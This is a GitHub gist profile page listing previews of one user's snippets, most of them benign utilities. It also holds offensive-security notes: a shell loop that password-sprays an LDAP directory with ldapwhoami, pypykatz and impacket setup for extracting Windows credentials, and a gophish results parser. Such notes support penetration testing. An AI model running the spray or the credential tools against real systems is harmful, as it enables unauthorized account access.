Skip to content

Instantly share code, notes, and snippets.

View whoo's full-sized avatar

Dominique DERRIER whoo

  • Transition
  • Montreal
View GitHub Profile
@whoo
whoo / IP2map.py
Last active April 7, 2023 15:46
put ip on a map
import plotly.express as px
import pandas as pd
import geoip2.database
## https://www.maxmind.com/en/accounts/595343/geoip/downloads
reader=geoip2.database.Reader('GeoLite2-City.mmdb')
ip=["x.x.x.x" ,
"x.x.x.x" ,
"x.x.x.x"
@whoo
whoo / gist:2da1cc170b6441c624ebe7f8d33d5afe
Created October 9, 2022 16:36
HomeAssistant-Alpine-create
#!/bin/sh
function create_files()
{
echo "initial.sh"
cat <<EOF > initial.sh
#!/bin/sh
import json
import pandas as pd
data = pd.read_csv('gophish_row.csv')
for a in data.iloc():
if type(a.details) is str:
@whoo
whoo / FdP.md
Last active November 21, 2021 16:26
FicheDePompe

Windows Creds

python3 -mvenv /tmp/venv
. /tmp/venv/bin/activate
pip install pypykatz
pip install impacket
@whoo
whoo / IPTV-big-list.m3u
Created March 14, 2021 14:46 — forked from jonathanhammond/IPTV-big-list.m3u
IPTV big list.m3u
#EXTM3U
#EXTINF:0 tvg-name="Newsmax TV" tvg-language="English" tvg-country="CA" tvg-id="Newsmax-TV" tvg-logo="https://i.imgur.com/Twkovic.gif" group-title="Entertainment",Newsmax TV
https://nmxlive.akamaized.net/hls/live/529965/Live_1/index.m3u8
#EXTINF:0 tvg-logo="https://i.imgur.com/ODIWC6n.jpg" tvg-name="Infowars1" tvg-id="Infowars1" group-title="News",Infowars Live1
https://infostream.secure.footprint.net/hls-live/infostream-infostream/_definst_/master.m3u8
#EXTINF:0 tvg-logo="https://i.imgur.com/ODIWC6n.jpg" tvg-name="Infowars" tvg-id="Infowars" group-title="News",Infowars Live 2
https://infowarslive-lh.akamaihd.net/i/infowarsevent_1@366809/master.m3u8
#EXTINF:0 tvg-name="Russia today News" tvg-country="RU" tvg-language="English" tvg-logo="https://i.imgur.com/QY4B8Hg.png" group-title="News",RT News
https://rt-news-gd.secure2.footprint.net/1103.m3u8
#EXTINF:0 tvg-name="Russia today USA" tvg-country="RU" tvg-language="English" tvg-logo="https://i.imgur.com/QY4B8Hg.png" group-title="News",RT USA
@whoo
whoo / ldapwhoami
Last active April 3, 2023 19:43
Poor Password Spray
cat list.txt | while read a
do
ldapwhoami -vvv -h 1... -D "$a@domain.com" -w '__PASSWORD__'
done
@whoo
whoo / DemoReel100.ino
Created December 24, 2020 12:51 — forked from kriegsman/DemoReel100.ino
FastLED "100-line" demo reel
#include "FastLED.h"
// FastLED "100-lines-of-code" demo reel, showing just a few
// of the kinds of animation patterns you can quickly and easily
// compose using FastLED.
//
// This example also shows one easy way to define multiple
// animations patterns and have them automatically rotate.
//
// -Mark Kriegsman, December 2014
@whoo
whoo / README.md
Created July 19, 2020 13:43 — forked from magnetikonline/README.md
Extract all files at every commit of a Git repository.

Extract all files at every commit of a Git repository

Bash script to iterate all commits of a given Git repository and extract all files within each commit.

Example

With a Git repository at /path/to/repository and an empty directory at /path/to/output we can run:

./export.sh /path/to/repository /path/to/output

Export 1d9048853b8073e43e43e3250300a82f93d2f431 -&gt; /path/to/output/1d9048853b8073e43e43e3250300a82f93d2f431
import json
config = {}
with open('fortigate.cfg') as fh:
for line in fh:
args = line.split()
action = args.pop(0)
# python3: action, *args = line.split()
@whoo
whoo / ReInit.sh
Last active March 15, 2020 00:08
Pass | Password manager cmdline
#!/bin/bash
echo -e "\033[1;32m [ReInit Vault with keys : (gpg.id)] \033[0m"
for a in $(cat ~/.password-store/.gpg-id)
do
echo -ne "\033[1;33m * \033[0m"
gpg --list-keys $a | grep uid | grep @ | head -n 1 | cut -c 26-
done